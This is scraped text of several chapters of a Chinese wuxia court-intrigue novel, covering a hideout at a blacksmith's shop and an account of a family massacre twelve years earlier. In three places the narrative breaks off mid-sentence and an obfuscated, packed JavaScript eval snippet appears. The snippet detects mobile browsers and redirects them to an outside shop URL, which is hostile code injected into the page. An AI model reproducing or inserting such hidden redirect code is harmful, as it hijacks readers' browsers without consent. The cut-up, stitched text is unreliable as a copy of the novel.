“不急。”沈绣道,“等他们再走远些。正好叫我看看,敢于同刑部、同太后作对的,究竟还有多少人。” 百里邬眉梢一挑,道:“到了那时,大人恐怕要嫌下官追得太深了。” “今日特例。”沈绣合上卷宗,将它重新放回书架里,“这次你想追多远,就追多远。” 百里邬忽然直起了身子,脖颈上雪白的肌肉像待发的猎犬一般颤抖起来。他盯着沈绣问:“追到之后,又当如何?” 沈绣望了他一眼,露出一点微笑:“《左传》有言,除害莫如尽。若发现他们对刑部不利,还要劳烦主事斩草除根。” “我就知道,我就知道!”百里邬已兴奋得连嗓音都在哆嗦,“大人见笑,我这人没有别的爱好,就喜欢个追亡逐遁、赶尽杀绝,就连考功司的掌固都斥责下官是禽兽之心。唯有大人准我尽行此事。雍州刑部……” 他竖起拇指感叹道:“果然是天下一品!” 15. 小↑恩↓官↑↓ 天色初明,雾气遮住街坊,只从其中传来开市的锣声。 崔疑换上白衣,坐回了他的四轮车里。方才死里逃生,他的嘴巴却一刻也不肯闭上。 “鹭娘真以为我会信她的话?说不准她是故意要给你姐姐顶罪,好叫我们不要深究下去了。”他一路行,一路念,“虽不知道是为了什么,但你不是也说,她的剑法与你姐姐很像么?或许她们早有交情。” 穆辞川在后边推车,听得头脑发昏,小声插嘴道:“我倒觉得她没有说谎。” “你以为是她先奉命血洗了刑部,而后又投靠沈绣?为什么?临阵投敌,她就不怕被宫里人追杀么?” 穆辞川看着身前人脑袋上的发旋,喃喃地说:“因为她喜欢他。” 他并不知鹭娘的身世,可他知道喜欢一个人,是会变得连什么都不怕的。 “哈。”崔疑不出意外地嗤笑了一声,反问道,“那沈绣又为什么肯收留她?被发现私藏内卫,他也要掉脑袋的。” 穆辞川道:“因为他也喜欢她。” “……幼稚。”崔疑点评道,“一个女人,怎么会比他的生死、前程都重要。” 穆辞川道:“你也不能断言……” “我当然可以断言。你知道为什么?”为表示自己的坚定,崔疑将轮椅调转过来,直视着穆辞川,道,“因为她不漂亮。” 穆辞川愣了一下。 鹭娘的确算不上什么绝世的佳丽,沈绣如若愿意,身边更不至于缺少美人。他何必只爱鹭娘一个,爱得生死抛却? 穆辞川本应很清楚这一点的,因为他自己也不漂亮。 因为他自己也未曾被人肝肠寸断地爱过。 倒不如说,他自出生便在监牢,见弃于人,暗无天日。而后又被指做灾星,若无阿姊救护,便要糊里糊涂地斩首在狗脊岭上。 “你就当我没有说过吧。”他躲开崔疑的目光,低声道,“快接着走,沈绣的追兵就要到了。” 他上前要推轮椅,崔疑却不肯动了。因为他又看见了穆辞川浑身的伤口,血花像铁锈一样,遍布在他的玄衣上。 伤势不重,却叫崔疑的面色变得更加阴沉。 他张开手说:“拿来。” 穆辞川愣道:“拿什么?” “兵符。”崔疑道,“带在你身上,打打杀杀的,容易有失。” 他说的在理。穆辞川只好掏出随剑一起从鹭娘手中拿回来的兔符,递给他。 崔疑拿了符,就唤:“那个殷多少来着。” 殷二十七自出了石阁,就一直远远地跟着他们。此时听到了传唤,不知道是从哪里闪出来,捏着手站在穆辞川面前。 崔疑晃了晃手中的兵符,道:“看着我。” 殷二十七看一眼兔符,又看一眼穆辞川,只好扭过身子来对着轮椅,脑袋垂得更低了。 “我问你,”崔疑盯着那个落花般细瘦的青年,眼神非常冷,“今日是谁命令你闯入石阁,给我们添乱的。” “是……”殷二十七的脸腾地就红了,支支吾吾地道,“是我自己要去的……我想帮帮主人……” “啪”地一声,崔疑把兵符拍在轮椅的扶手上,呵斥道:“无令而擅为,放在南衙是什么罪过?” 若他没有以身犯险,穆辞川就不会为救他而受伤。殷二十七也想得明白。 他怔在原地说:“我、我……” “这还不算。”崔疑接着道,“我们在阁中所谈,全是衙署机密,却都被你听去了。你打算怎么办?” 殷二十七的眼睛里已闪着泪光,他直愣愣地跪下来,阖首道:“我听公子发落……” “本事没有,死罪倒是一桩接着一桩。也罢,形势紧急,不同你计较。”崔疑顿了片刻,又冷声道,“为防走漏风声,你就自己把舌头割下来吧。” “是……”殷二十七的眼泪嗒嗒地向地上落,他抽出柳叶窄刀,没有半点犹豫,便将刀刃探进嘴里。 “住手!”穆辞川在此时赶上前,一把夺下殷二十七的短刀,又一把,从崔疑掌心里把兔符抢了回来。 他伸手扶起殷二十七,又从自己的二十两银钱中捡出一锭,连同兔符一起交到他手里,说:“你自己走吧,想去哪里都可以,不必再跟着我了。” 殷二十七没有接,他抬着那双湿润的眼睛望着穆辞川:“我什么都不说出去,主人不要赶我走。若就这样回去,我会、我会……” 他没有再说下去,穆辞川却也大概懂了。禁宫里一个小卒,败事而归,指不定会遭受怎样的惩罚。 他只好道:“你真的不肯走?” 殷二十七使劲摇头。 “那好吧。你先退下去,有需要时,我还用兔符唤你。” 殷二十七点点头,扭身钻入了晨雾里,没过多久,远处的高楼顶上便像开了一朵小桃花一般,露出一个淡粉色的身影。 穆辞川又看向崔疑,道:“他若出事,算在我头上。” 崔疑瞧他一眼,道:“他连累你受伤,你还向着他说话?” 穆辞川淡淡地道:“我只是不想因为怕被人害,就先把别人害死了。” 崔疑冷笑了一声:“你怎么和我哥哥说一样的话。” “本来如此!”穆辞川转过身,正色道,“所以他能当上尚书令。” “所以他死了。”崔疑的眼底似也有雾气翻涌起来,凉声说,“还株连了我们全族的人。” “我又不会株连到你。”穆辞川懒得同他打岔,握着轮椅将他掉了个头,道,“去哪儿。” “……东市。”崔疑沉默片刻,幽幽地说,“沈绣这人气性大,近几日少不了派人搜城。我有个朋友在东市做小生意,先去她那里躲几天。” 他们在雾里又走了半柱香的工夫。直到薄雾褪散,晴光下现出一座早市的时候,穆辞川还在思考,究竟是什么样的人才肯同崔疑做朋友。 大概也是个狐朋狗友吧。 东市毗邻勋贵宅邸,街巷较西市整肃不少,卖的也多是些笔墨、香药,没什么有趣的。崔疑径直引着他走到坊角的一间小铺面前。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“也不怪他。”崔疑笑够了,扯了扯樊姬的衣袂说,“第一次来此的人,谁敢相信樊姬这样的美人竟是长安城中数一数二的铁匠?” “美人怎么不能是铁匠?美人就非得卖身子过活?”樊姬并起两个指甲尖,在穆辞川额心上使劲儿一掐,留下个通红的小圆印子。 她道:“老娘是龙泉欧冶子之后,若论打铁铸剑,老娘是这一行的祖师奶奶。” 穆辞川捂着脑门说:“请祖师奶奶原谅,我是听见你们谈花销,才以为……” 崔疑又不收藏宝剑,为何会在一个铸剑师身上花那么多钱? “那也非我一人之力。”崔疑解释道,“近年来刑部拷问案犯所用的工具,什么金瓜、铁鞋、脑箍、铜刷,都是从樊姬处定做。虽说价钱高昂了些,可是成品精巧,犯人用过后,没有一个不招的。” 他又将头一歪,看着穆辞川道:“把你的剑鞘拿出来,给樊姬看看吧。” 16. 你就给她捏一下吧 铁匠铺里,樊姬坐在柜台一边,借着烘炉的火光,端详起面前的玄铁剑鞘。 她看了足有一刻钟。穆辞川忍不住问:“樊姑娘,怎么样?” 樊姬就把两半剑鞘往桌面上一扔,叉起手道:“修不了。” “怎么会?”穆辞川心里咯噔一响,“请你再好好看看……” 崔疑也在一旁说:“一柄剑鞘而已,怎至于难倒樊姬。” “不是我手艺不精。”樊姬道,“这柄剑鞘是精钢打成,若要锻接,需得最上等的焊料,长安城中少见那么好的铁。” “只是少见,又不是没有。而且长安城中最好的铁,岂非就在樊姬的店里么?” 崔疑说着,视线就在铁行里乱转起来,最终落在一块坑坑洼洼的青绿奇石上。 他将绿石取来,道:“这一块如何?” “你真是长了双好眼睛。”樊姬一把夺过石头,不悦道,“这一块可是天外陨铁,你要买也行,我为你打个折价。” 她捏起手指说:“七百两。” 穆辞川吓了一跳,赶紧摆手道:“樊姑娘,我们不买了。” 崔疑也忍不住蹙起眉。“我的钱也不是天上刮来的。”他想了片刻,伸出三指,“这个数如何?” “三百两?”樊姬哂笑一声,“连成本都不足。” “不是三百两。”崔疑正色道,“是三钱。我身上现今只有这点碎银了。” 樊姬道:“你滚着出去。” 穆辞川本也没有要这么昂贵的物材来补剑的心思,见她有些生气了,就也抓着崔疑的手说:“我的剑鞘去别处补也是一样的。” “一块石头而已,谁还买不起了。”崔疑却犯了性子,他甩开穆辞川的手,对樊姬说,“我不是要赖你的账,只是这几日不便回家取钱。三钱银子只是定金,做成之后,七百两的尾款我一并付清。 “对不住,本店盖不赊欠。”樊姬瞧他一眼,忽又一笑道,“不过,若是崔小公子实在喜欢这块陨铁,倒也不是没有其他支付的法子。” 崔疑道:“你说。” 樊姬就把软腰一塌,俯到柜台上,狐狸般凑到他面前道:“你把脸给我捏一捏,我就免费用这块铁为你们铸剑。” 崔疑先是愣了愣,而后冷笑一声:“我倒不知自己这张脸竟能值七百两银子。” 是值的。穆辞川想,倘使他自己有崔疑的这张脸,那么他是连千金、万金,都不要去换的。 樊姬只道:“公子爱换不换。”说罢,仰躺在竹藤软椅里,不搭理人了。 “……”崔疑没了台阶下,眼神便一个劲儿地往穆辞川身上瞟,也没得到什么回应,气得阴声道,“你这会儿怎么不拦着我了。” 穆辞川说:“你就给樊姑娘捏一捏吧。” 七百两的重金他不能欠别人的,可是捏捏脸又不会少一块肉。 穆辞川也喜欢那块铁。 他看着崔疑,狭长的双眼睁得和面铠上的兽睛一样明亮,像一条乞肉吃的小狗。 崔疑的脸色青了又白,最后才仿佛下定了很大的决心道:“好,好……看在你护了我的份上……樊姬,你想捏就过来捏一下吧。” “一下怎么够?”樊姬伸出一根玉指,“我要捏这个数。” 崔疑蹙眉道:“这不是一?” 樊姬道:“这是一柱香。” “……” 一柱香后,崔疑面朝炉膛闷坐着,两颊又红又肿,好像一条赤腮金鱼。 穆辞川从不知道他的脸也能这样红。打铁的女子,手劲儿真是不小! 樊姬此时正如个饕足的恩客卧在软椅里,一边把弄陨铁,一边懒懒地道:“要补成个什么样式的?” 穆辞川说:“依樊姑娘的意思就好……”话音未落,崔疑的声音便从炉火边幽幽地传来。 他说:“做个天狗。” “天狗?”樊姬瞅瞅崔疑,又是瞅瞅穆辞川,良久才感叹道,“合适。” 穆辞川不知道是什么合适,只听见她诡笑着说:“狗眼睛要拿什么来点?金珠?银珠?” “都不用。”崔疑沉吟片刻,向着穆辞川伸出手,“拿出来。” 穆辞川道:“拿什么?” 崔疑道:“那只小鸟。” “不给!”穆辞川一下子捂紧了胸口,叫到,“那是我……” 他忽然说不下去了。他已知道他的长命鸟出自裴令府,崔疑想要收回,本就天经地义。 他只能慢慢地将小线鸟掏了出来,紧紧地握了一会儿,然后轻轻地放在崔疑手里。 崔疑的脸上没有什么神情,接过小鸟,十指如掏心挖肺一般,剖开金线,剜出里面粉润的玉珠子,摆在柜台上。 “璞玉虽瑕,放着也是可惜。”他指着玉心那道白痕,凉凉地说,“沿裂切开,磨作一对眼睛,给他嵌上。” “你真舍得?”樊姬看到玉珠,略愣了愣,“这是你家里的东西吧?我若没有记错,裴公殁的时候……” 崔疑立刻冷声道:“樊姬。” 樊姬咋一咋舌,不再多说,把玉珠往掌心里一揽,道:“我知道了,半日工成,你们两个上后头歇着去吧。” 在他们谈话的工夫,铁行后院已经收拾出一间厢房。穆辞川推门进去,就见榻上铺着两床软被,桌案上也早已摆了一笼热蒸饼、一碟牛头肉、一碟冻鱼、一壶普洱茶。 他忍不住问崔疑:“樊姑娘准备得这么妥帖,怎么好像是早知道我们要来?” “樊姬是生意人,自然消息灵通。往常我来拜访,她也总能提前备下茶饭。你放心取用就是。”崔疑将轮椅摇到案边,拾起一对鎏银筷子,在碟子里挑挑拣拣,终于选中一块鱼冻,慢慢地咬起来。 穆辞川没急着吃饭。他一进了暖和地方,便觉得浑身的伤口都泛起瘙痒。他就在床头边蹲下,拆开外衣,露出一半臂膀,又掏出几颗大风丸来,磨做药泥,敷在肋底伤处,一边道:“其实她的消息也不是那么准确。” 崔疑道:“哦?” 穆辞川指了指那两床被子,说:“她若知道我们是两个人要来,就该收拾出两间房子。这被褥显然是临时加上去的。” 崔疑没有回答,只是望着他脱衣涂药,一对雪白的犬牙慢慢地捻着筷子尖儿上的鱼肉。 望了片刻,他忽而笑道:“也对。这样看来,她的话并不能全信。” 可他很快又笑不出了。现下他只要微微一咧嘴,面颊上红肿之处便像火烧一样刺痛。他只能撂下筷子,轻声吸起气来。 穆辞川听见他抽气,心里说不上是什么滋味。他们稀里糊涂地相处了数日,期间也有两三次到了生死攸关的地步,每当这时,那个目空一切的残废公子竟也肯回身拉自己一把。 也不知是不是将他拉向了更幽暗的深渊。 想到这里,穆辞川站起身,从药袋里捡出一颗最饱满的药丸,递给崔疑道:“你吃下去。” 崔疑悄悄地一抚脸,将面上的肿胀与唇角的颤抖一同抚平,轻声道:“不过是被个女人捏了捏脸,怎至于到吃药的地步。” 穆辞川说:“是为了你的腿。” 他见过崔疑膝盖上两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔疑没有说话,挥了挥手,背过身躺着,不再动弹。 穆辞川奈何不了他,自己坐到饭桌边,揭去面铠,灌下半壶热茶,又用胡饼卷着牛肉,吃了两大张。 胃里尚有余量。他看了眼身边已睡熟了的人,轻声问:“你还吃么?”没得到回应,他就又说:“我剩些鱼给你。” 说完,把剩下的牛肉连同半碟冻鱼,一同卷在最后一张胡饼里,两三口吃了下去, 酒足饭饱,他也愈发疲倦起来,可一是不肯再与崔疑同床睡卧,二是放心不下自己的剑鞘,就又戴好面铠,蹲在门缝边瞧樊姬打铁。好像个小看门狗一般。 瞧着瞧着,迷迷糊糊地也睡过去。 再睡醒时,日过晌午。穆辞川回头一看,见崔疑仍在床上发着平缓的呼吸,再看门缝外,樊姬已经熄了炉火,卧在软椅里歇着。 他站起身,推门走到樊姬面前。 “听闻樊姑娘见多识广,”他盯着柜台后那艳若桃李的女子,沉声说,“我有些事想要请教。” 樊姬抬起朱红的眼皮,凉凉地道:“打探情报是另外一门生意,自然有另外的价钱。” 穆辞川点点头,从钱袋里倒出仅有的四枚银锭、两个铜板,都堆在铁行的柜台上。 樊姬看一眼那些银钱,从柜台下拖出一只妆奁,将钱连整带碎抚进奁里。 她拍着掌心说:“本是不够的。看在崔小公子的面上,许你问一个。” 穆辞川说:“多谢。” 他沉默片刻,又要张口。樊姬却忽然道:“不必说了。” 穆辞川道:“什么?” “我知道你要问什么。”樊姬盯着他,露出很妩媚的笑容,“你要问你的姐姐。” 她竟知道穆辞川有个姐姐,竟还知道其人的下落。穆辞川实在非常震惊而好奇。 可是他说:“不是。” “我要问他的哥哥。” 17. 十二年前的事 “你难道没有听清楚?”樊姬的神色变了变,好像绝没料到自己竟会猜错面前这个青年的想法,她说,“我只能回答你一个问题。” 穆辞川说:“我清楚了。我要你回答我,崔疑的哥哥是怎样死的。” 樊姬道:“你来雍京,到底为了找你姐姐,还是找他的哥哥?” “我不是想要找阿姊。”穆辞川的神色非常凝重,一字一顿地道,“我是要救她。” 姐姐身陷长安,此时追查下去,不过是以身试饵,并非上策。 穆辞川既然学剑,自然也懂得剑走偏锋、独辟蹊径的道理。 “所以你要打听裴矫的事。”樊姬忽地直坐了起来,连柔软的腰肢都绷紧了,“你已知道你姐姐的失踪与他有关,唯有弄清他的过往,才能破除别人为你设下的圈套。是么?” 她知道的实在不少。 穆辞川瞪着她道:“是!” 樊姬敛下眼睫,目光中闪露出一点悲伤,她柔声道:“你做得对。你的姐姐是个女子,纵然有傲视天下的剑术,也翻不起怎样的波澜。裴矫却不一样。” 百官奏疏,有哪一件不曾报至尚书台?说裴矫当年的一呼一吸都牵动朝堂命脉,毫不为过。 穆辞川只恨不得那位传说中的裴令君能够从棺椁里坐起来,与他畅谈上三天三夜。 可眼下他只能听着樊姬说:“河东裴氏自古便是名门望族,到了裴令那一代,共有姐妹七人、兄弟两个。” 穆辞川道:“长子当然是裴令君,幼子当然是崔疑。” 樊姬道:“他那时当然是不叫崔疑的。” “他以前叫什么?” “裴九。”樊姬说,“兄姊之下,他行第九。” 穆辞川皱了皱眉:“这个名字有点不太雅致。” “何止不够雅致,简直配不上他的出身。”樊姬笑了笑,“但一个世家之中,能出一位有名有姓的人物便足够了。” 裴矫就是这样的人物。 “他哥哥那时不仅执掌尚书台,一揽天下大事,还兼顾教□□。”樊姬接着说,“可是文武百官、黎民百姓,却没有哪怕一个人说过他哪怕一句不好。” 穆辞川促声道:“从没有人恨他?” 樊姬道:“过去从来没有,以后也永不会有。” 穆辞川的双眼瞪得更圆了。他道:“那他为什么会被人杀死。” “因为他自己求死。” “你怎么知道他求死?” 樊姬的微笑好像一团凝脂,慢慢地在她脸上变得固结而苍白。她轻轻地说:“他若不为求死,为何要毒杀东宫太子?那对他有什么好处?” “他毒死了太子?”穆辞川禁不住失声叫了出来。 “没有人相信。”樊姬的声音已颤抖,“可有不少人都看见他跪在太子殿下的尸身前。手里还握着一只白瓷的药瓶。” 穆辞川拧着眉问:“瓶里就是毒药?” 樊姬说:“瓶里什么都没有。” 穆辞川道:“那药在……” 他忽然不问下去了。因为他已知道毒药去了哪里。 毒药当然已都进了太子的肠胃。 裴矫为何要毒杀自己的门生、毁掉自己的靠山?难道他真的只是一心求死? 他是不是其实有着帝师之位也无法满足的野心? 穆辞川问:“之后呢。” “之后他就被带去了刑部。”樊姬看着他,“他理应被带去刑部。” 到了刑部的人,一向没有不开口的。 穆辞川于是又问:“他认罪了?” 樊姬摇摇头。 “那么他是抵死不认?” 樊姬又摇摇头,翠蓝色的步摇在她的发髻上晃动。她道:“他一句话都没有说,既没有承认,也没有否认。可是据说他从刑部出来的那一日,就连头发都已全部变得金黄。” 穆辞川动容道:“那就是他们抄家、灭族的日子。” 樊姬冷笑着点了点头,道:“我知道你还想问,既然是族灭,子慎为何能够独活。” 说完,未容穆辞川回答,她便回身取出了那柄剑鞘。 鞘已补成,漆黑如旧,一条青碧色的细犬首尾相衔,横盘在剑鞘中央,粉玉打磨的双眼烁烁地放出锐光。 穆辞川接过剑鞘,紧紧握在手里,指尖有些哆嗦。 樊姬盯着那犬睛道:“裴矫死时,脖子上正戴着这块玉。斩马剑砍断他的人头,碰在玉上,竟将剑身崩断了。” “这不可能!”穆辞川立刻道,“无论多好的宝玉,都绝崩不坏铁剑。” 樊姬凉凉地笑了一声,道:“命运如此。剑断之后,他们总算是停了停手,能够听小裴九说一句话。” “他说了什么?” “他说,他知道他们要找什么……” “我知道你们要找什么。”少年张着双目,好像濒死的人叹出最后一口气一般轻声说,“饶过我,我带你们去找。” 话音未散,他的眼前忽然一眩,整个人已被一柄陌刀卷住衣领,挑在半空。 裴九的眼睛仍然只是张着,任由院子里的惨象映入其中。尸骨横斜作陇,鲜血汇流成渠。 裴家的族人已都倒下,杀人的凶手却还站着。 凶手共有三人,一个在前,两个在后。前面的是个羽林军士,手举陌刀;后面一人身穿官服,另一人全身蒙有黑纱,唯露出一双雪白的手,手中提着一柄同样雪白的剑。 穿官服的人上前一步,踏住裴矫那丛金色的长发,冷笑道:“都说裴家的小公子脑袋不灵光,这不是挺聪明的么,还懂得求人饶命。” 发丝绊住他的靴子,他一脚踢开,接着说:“不似你的爹啊娘啊、哥哥姐姐,只知道争先恐后地求死。” 裴九在刀尖上静静地看着他,说:“我不想死。” 穿官服的人就拍了拍军士的肩膀,笑道:“听到没有,裴小公子怕死。还不快放他下来?” 军士说:“好。谢大人。” 那柄一丈长的陌刀就忽然撤了回去,掇在地上。裴九摔在刀首旁边,溅了一身的血。 谢钦踏着血走到他面前,脸上的笑容已经烟消云散。他冷冷地道:“东西在哪里。” 裴九低着头说:“……书房。” “书房?”谢钦的眉拧起来,“你以为本官很好骗?” 裴九说:“……不好骗。” 谢钦扬起靴子,将白衣的少年踢翻在地上,叱道:“那你哪里来的胆子骗我?本官早已命人将书房翻找了八九遍,哪有什么东西?” 裴九的声音已几乎微不可闻:“我家的东西,你们当然找不到……” 身侧一寒,陌刀又悬在他的脖子上面。那个羽林军说:“带谢大人去找。” 裴九没有动。 军士道:“你还有什么话说。” “我要自己进书房。”裴九说,“你们谁都不许跟着。” 谢钦又是一靴,踏在裴九的肩膀上。他道:“你以为我们不明白?你进了书房,就要找暗道逃走!” “书房没有暗道。” “那你又为什么不敢让我们跟着?” “我……”裴九方要说话,浑身忽然一僵,一道新月般的银光从他面前缓缓飘来,轻轻地落在他的双膝上,又慢慢地散去。 他的膝下,这才流出一股鲜红的血。 血是滚热的,他的双腿却只感到彻骨的冰冷。那个身披黑纱的人已走了过来。 那人浑身上下连同头脸、手脚全都蒙在纱里,走起路来仿佛幽魂飘荡,分不出是男是女、是鬼是神。 那人一边走,一边将白剑放回鞘里,淡淡地说:“现在他跑不了了。” 听嗓音是个年轻的女子。那道月亮般雪白的柔光,就是她的剑光。 裴九望了她一眼,忽然开始剧烈地挣扎。他像一条小蛇一样,反复绷紧全身的每一片肌肉,双腿却始终没有任何动静。 他已经再也站不起来了。 “哈哈,的确是好法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609362|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。”谢钦笑道,“裴小公子,本官可以答应你的请求了。请移步书房吧。” 他顿了顿,又冷声道:“爬着去。” 从院子到书房的路并不远。裴九在更年幼些的时候,常常因为闯了祸而被父亲捉到院里打手板,每到这时,他总是趁机逃走,只要十一二步就能奔进书房寻求长兄的庇护。 如今他却已不知道爬了多久,他第一次意识到家里的门槛原来有这样高,他的双腿有这样沉重。一只小小的蚍蜉越过他的指尖,像一颗梅红的痣。 那个身覆黑纱的女人,手指上就有一颗这样的痣。裴九想。 谢钦眉眼柔细,更好辨认。 至于那个姓卫的羽林军士,陌刀功法尤为独特,如再相见,他一定可以认出。 届那时,他必要用这三个人的头颅,祭奠裴氏的父兄。 他爬入了书房。画门紧紧闭上,过了很久,又忽然打开。 裴九倚坐在门框边,手里攥着一卷竹简。刺鼻的墨香从竹片间散发出来。 “没想到你竟真能找到裴矫的罪证!”谢钦一边笑,一边大踏步地走过来,双手还未伸出,面前白影一晃,竹简就已挑在那女子的剑尖上。 “月姑娘。”谢钦有些不悦地道,“这份罪状还是先交给本官,待中书省辨别真假后,再上呈积善宫不迟。” “太后懿旨,”女子道,“一旦搜出裴矫勾结谋逆的秘信,即刻呈递,绝不能过第二个活人的眼睛。” 她稍稍偏过了头来,接着道:“谢大人还要看么?” 谢钦不再回答。 她又问:“卫将军要看么?” 羽林军士将陌刀重重地立在地上。 长风拂起,黑纱卷动。女子忽然将身一屈,从满地的血污里拾起一颗五彩的东西,仿佛暗云裹起了一点渔火。 是那只金丝长命鸟。 她将小鸟放在手心里,正着看了一遍,又反着看了一遍,依旧淡淡地道:“这只线鸟,我能不能收下。” 谢钦似笑非笑地说:“一个线团而已,月姑娘顾虑什……” “我在问他。”女子打断他的话。面纱仍未脱下,她的视线却好像已越过其他人,落在裴九身上。 裴九也在看着她。他攀着门框,用尽全力地直起身体,可是膝弯处的冷意就像一股寒泉,渗透进他的四肢百骸。他眼前一阵眩黑,昏倒在门槛上。 “……我等着他回答。”女子回了头,将长命鸟收入怀中,走到院外,身形一晃,如同一截残夜,消失在天边的日影里。 “……所以他没有死。”穆辞川听完这些事,颤声说。 “好在他们不敢惹太后的女使。可是双腿俱断、家破人亡,与死了又有什么分别。”樊姬长长地叹息了一声,“这十二年来,他一直在找那三个血洗令君府的凶手,没想到真被他找到了。” 穆辞川早已听出,那个黑衣白剑的女人,就是他的姐姐穆月出。 竟是阿姊砍断了崔疑的双腿。 穆辞川的人好像一座小山,本来一动不动,此刻轰然崩颓,坐倒在铁匠铺熄灭的炉膛上。 究竟是裴矫在背地里篡党夺权,还是阿姊为虎作伥?这些事,崔疑既然都已亲眼所见,为何还不点破? 他是不是在利用自己?等找到了阿姊,他会不会割下他们姐弟两人的脑袋来,一同给族人祭祀? 穆辞川听见樊姬开口道:“我所知道的,只有这些了。” “已足够了……”穆辞川拄着剑鞘站起来,脚底一滑,又撑在柜台上。 柜台后面,樊姬冷冷地笑道:“但是,我还有几句话想要跟你说。” “是什么话。” 樊姬没有立刻回答,而是站起身,踱到烘炉边上,从炭灰中拔出一柄沉甸甸的火钳,在地上磕了磕。突然将腰一扭,用尽全力向着穆辞川身上抡去。 她一边打,一边怒声骂道:“你算什么东西!也敢来打听裴令君的往事?还要替他主持公道?你非要他连死也不得安生?” 18. 好像磕到了 穆辞川没有防备,身上结结实实地挨了十几铁钳,被打得在地上滚了一圈,连连朝门外退去。 刚退到门板边上,他便感觉腰心被什么东西扶了一把,随后听见一人用着柔和的声音说:“樊老板,怎么发这么大火气?” 一个碧衫的中年男人从门外走进来,一手提着酒囊,另一手托起穆辞川的腰眼。身后跟着一个趾高气扬的红衣姑娘。 是祝轻尘和江南雀。 穆辞川怔了怔,刚要出言,又不知该怎么称呼合适。 祝轻尘看了他一眼,笑着道:“月出既是我的徒弟,又曾教习过你剑法,从情理上看,你可以称我为师爷。” 江南雀也得意地道:“听到没有,大外甥?” 什么师爷师外甥,穆辞川暗暗地想,他们晓不晓得他们正要找的大徒弟、大师姐,曾做过杀人放火的活计? 他就只哑声说:“你们来这里干什么。” “听闻东市樊老板打铁铸剑的本事是天下一绝,我前日特来定做了一对双股细剑,今日取货。”祝轻尘一边笑,一边向樊姬施了一礼,抖抖衣衫,坐在柜台旁的木椅里,道,“有劳樊老板了。” 樊姬也压下火气,放下铁钳,坐回藤椅,伸手从柜台底下取出两柄精铁细剑,一齐掷给祝轻尘,娇笑道:“这是祝掌门定做的双剑,倘若验看无误,今天钱货两清。” 祝轻尘接过剑,拔出尺来长一截细细地观赏。剑锋狭如柳叶,闪着银光。 他笑道:“果然是好剑。” 穆辞川说:“不如你的柳条好。” “飞花摘叶,都可伤人,是我们嘉陵派的本事!”江南雀挺着胸脯站出来,“不过,真到了杀人的关头,还是宝剑用着趁手。” 穆辞川愣了愣:“你们要去杀人?杀什么人?” 江南雀朗声答道:“谁要伤害师姐,我们就要谁的命!” “你们已经知道是谁要害阿姊?”穆辞川还在追问,忽然听见卧房的门“吱呀”一声响,崔疑乘着轮椅,打着呵欠,出现在门口,手里还捏着一枚晶莹的鱼冻。 他不是个容易被看透的人,可无论是谁听过了樊姬的那番话,都可以想得出:就算这世上只剩一个人想要穆月出死,那个人也一定就是崔疑。 所以祝轻尘掌中的一对细剑忽然脱鞘飞出,狂风卷草一般,刺向崔疑的胸膛。 “你!”穆辞川字还没说出第二个,人已向着剑光掠去,劈手一攥,夺下一柄飞剑。 另一柄剑却已经到了崔疑身前。 崔疑连眼睛都来不及眨一眨,只听见了一声长剑破风的锐响,身侧一寒,细剑贴着他的肩膀飞过,钉在四轮椅背上。 那块鱼冻被刺了对穿,挂在剑锋中央,竟然还未破烂,尚在轻轻地弹动着。 崔疑发出一声冷冷的笑,道:“祝掌门,小别重逢,这是要干什么。” 祝轻尘仍坐在椅子里,眼角弯起风雅的细纹:“崔小公子与月出结仇,祝某爱徒心切,理应是来取公子性命的。” “你怎么知道他们有仇?”穆辞川问,“难道樊姬也将裴令君的事情同你说了?” “什么事情?”崔疑一愣,而后向着穆辞川正色道,“什么叫''也''?” 穆辞川一巴掌拍在自己的面铠上。他好恨自己这张八面漏风的笨嘴。 祝轻尘没有搭理他们,只是从怀中取出两块碗口大小的金饼,放在樊姬的手心里。他说:“这是铸剑的酬金。樊老板做生意,的确是货真价实。” 樊姬接下金子,也笑道:“你樊姐姐纵然有千般不好,至少也有一样长处,那就是绝不挑客。” 什么尚书令的奇案、什么女刺客的过往,只要金银足秤,全都不是秘密。 “说到这里,祝某正想问一问穆公子。”祝轻尘忽然又回过头来,扫了一眼穆辞川,“阁下既然也知道月出与崔小公子有灭族之仇,方才为何还要替他挡下那一剑?” 穆辞川又一巴掌拍在自己的右手腕上。他也恨这只多管闲事的手。他用他的笨嘴说:“我不是为了救他,我是因为……!” “因为他的脑袋虽然也不太好使,但至少比你们聪明一些。”崔疑打断了他的话,道,“他知道我早晚能有办法找到你的大徒弟复仇,跟着我坐等渔翁之利,总比你们自己四处乱转方便多了。” 祝轻尘忽然站了起来,走到他的轮椅边:“你说过,你已经知道月出的下落。” 崔疑道:“这句话我不想再说第二次。” 祝轻尘低声道:“你的命,我也不想再救第二次了。” 他忽然伸出手,轻轻地拔下钉在轮椅上细剑,手腕一抖,将那块鱼冻挑在剑尖上。 鱼肉中央的剑孔里,滚出一粒小小的银珠。 “是水银!”穆辞川双目陡然张大,“你刚才吃下去了没有?” 崔疑的脸色也变了,他一把扯住穆辞川的衣角,呵道:“你早已吃了半碟子了!” 穆辞川赶紧摸摸自己的肚皮,只觉舒服得还能再吃下两张牛肉卷饼,小声说:“我没事。” 他吃过饭已有两三个时辰,尚无症状,看来的确没有中毒。崔疑的手这才很不自然地松开了他的衣服。 